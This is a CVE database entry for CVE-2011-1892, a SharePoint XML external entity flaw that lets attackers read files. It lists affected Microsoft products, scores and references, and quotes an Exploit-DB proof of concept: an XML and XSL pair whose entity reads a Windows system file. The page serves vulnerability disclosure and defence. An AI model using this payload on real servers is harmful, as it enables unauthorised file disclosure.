CVE-2011-1892 : Detail

CVE-2011-1892

A01-Broken Access Control
56.94%V4
Network
2011-09-15
08h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

Microsoft Office Groove 2007 SP2, SharePoint Workspace 2010 Gold and SP1, Office Forms Server 2007 SP2, Office SharePoint Server 2007 SP2, Office SharePoint Server 2010 Gold and SP1, Office Groove Data Bridge Server 2007 SP2, Office Groove Management Server 2007 SP2, Groove Server 2010 Gold and SP1, Windows SharePoint Services 3.0 SP2, SharePoint Foundation 2010, and Office Web Apps 2010 Gold and SP1 do not properly handle Web Parts containing XML classes referencing external entities, which allows remote authenticated users to read arbitrary files via a crafted XML and XSL file, aka "SharePoint Remote File Disclosure Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4 AV:N/AC:L/Au:S/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 17873

Publication date : 2011-09-19 22h00 +00:00
Author : Nicolas Gregoire
EDB Verified : No

Exploit Title: File disclosure via XEE in SharePoint and DotNetNuke Date: September 15, 2011 Author: Nicolas Gregoire Version: SharePoint 2007 / 2010, DotNetNuke < 6 CVE : CVE-2011-1892 poc filename: xee.xml <!DOCTYPE doc [ <!ENTITY boom SYSTEM "c:\\windows\\system32\\drivers\\etc\\hosts"> ]> <doc>&boom;</doc> poc filename: xee.xsl <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:apply-templates/> <xsl:value-of select="doc"/> </xsl:template> </xsl:stylesheet>

Products Mentioned

Configuraton 0

Microsoft>>Forms_server >> Version 2007

    Microsoft>>Forms_server >> Version 2007

      Microsoft>>Groove >> Version 2007

        Microsoft>>Groove_data_bridge_server >> Version 2007

          Microsoft>>Groove_management_server >> Version 2007

            Microsoft>>Groove_server >> Version 2010

            Microsoft>>Groove_server >> Version 2010

            Microsoft>>Office_web_apps >> Version 2010

            Microsoft>>Office_web_apps >> Version 2010

            Microsoft>>Sharepoint_foundation >> Version 2010

            Microsoft>>Sharepoint_server >> Version 2007

              Microsoft>>Sharepoint_server >> Version 2007

                Microsoft>>Sharepoint_server >> Version 2010

                Microsoft>>Sharepoint_server >> Version 2010

                Microsoft>>Sharepoint_services >> Version 3.0

                  Microsoft>>Sharepoint_services >> Version 3.0

                    Microsoft>>Sharepoint_workspace >> Version 2010

                      Microsoft>>Sharepoint_workspace >> Version 2010

                        Microsoft>>Sharepoint_workspace >> Version 2010

                          Microsoft>>Sharepoint_workspace >> Version 2010

                            References

                            http://securityreason.com/securityalert/8386
                            Tags : third-party-advisory, x_refsource_SREASON
                            http://www.us-cert.gov/cas/techalerts/TA11-256A.html
                            Tags : third-party-advisory, x_refsource_CERT
                            The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.